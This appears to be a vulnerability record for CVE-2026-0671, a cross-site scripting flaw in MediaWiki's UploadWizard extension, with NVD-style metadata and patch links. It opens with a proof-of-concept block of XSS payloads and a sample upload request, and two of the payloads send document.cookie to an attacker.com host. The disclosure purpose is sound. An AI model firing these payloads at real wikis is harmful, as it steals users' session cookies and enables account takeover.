CVE-2026-0671

<!-- CVE-2026-0671 PoC: XSS in MediaWiki UploadWizard --> <!-- Attackers can inject malicious JavaScript through file metadata --> <!-- Method 1: Using filename --> <script>alert(document.domain)</script>.jpg <!-- Method 2: Using file description in UploadWizard --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: Stored XSS payload --> <svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))> <!-- HTTP Request Example --> POST /wiki/Special:UploadWizard HTTP/1.1 Host: target.wikimedia.org Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="wpUploadFile"; filename="<img src=x onerror=alert(document.cookie)>.png" Content-Type: image/png [PNG content] --boundary--

{"cve": {"id": "CVE-2026-0671", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-01-08T17:15:50.240", "lastModified": "2026-01-15T21:50:54.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation MediaWiki - UploadWizard extension allows Cross-Site Scripting (XSS).This issue affects MediaWiki - UploadWizard extension: 1.45, 1.44, 1.43, 1.39."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wikimedia:mediawiki-extensions-uploadwizard:1.39:*:*:*:*:*:*:*", "matchCriteriaId": "E177CDD3-DB91-4A7B-9C1E-1CE45AC857BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wikimedia:mediawiki-extensions-uploadwizard:1.43:*:*:*:*:*:*:*", "matchCriteriaId": "360E8939-87FB-40A8-A07E-E3F5CC4A2AFC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wikimedia:mediawiki-extensions-uploadwizard:1.44:*:*:*:*:*:*:*", "matchCriteriaId": "1EBA4166-5A79-4636-8122-71A6DB43FE28"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wikimedia:mediawiki-extensions-uploadwizard:1.45:*:*:*:*:*:*:*", "matchCriteriaId": "393B61C5-BB08-4269-840B-C68BFE5F5219"}]}]}], "references": [{"url": "https://gerrit.wikimedia.org/r/q/I16de2211594ea9a686868ad7789f9879bf981fa1", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Patch"]}, {"url": "https://phabricator.wikimedia.org/T407157", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}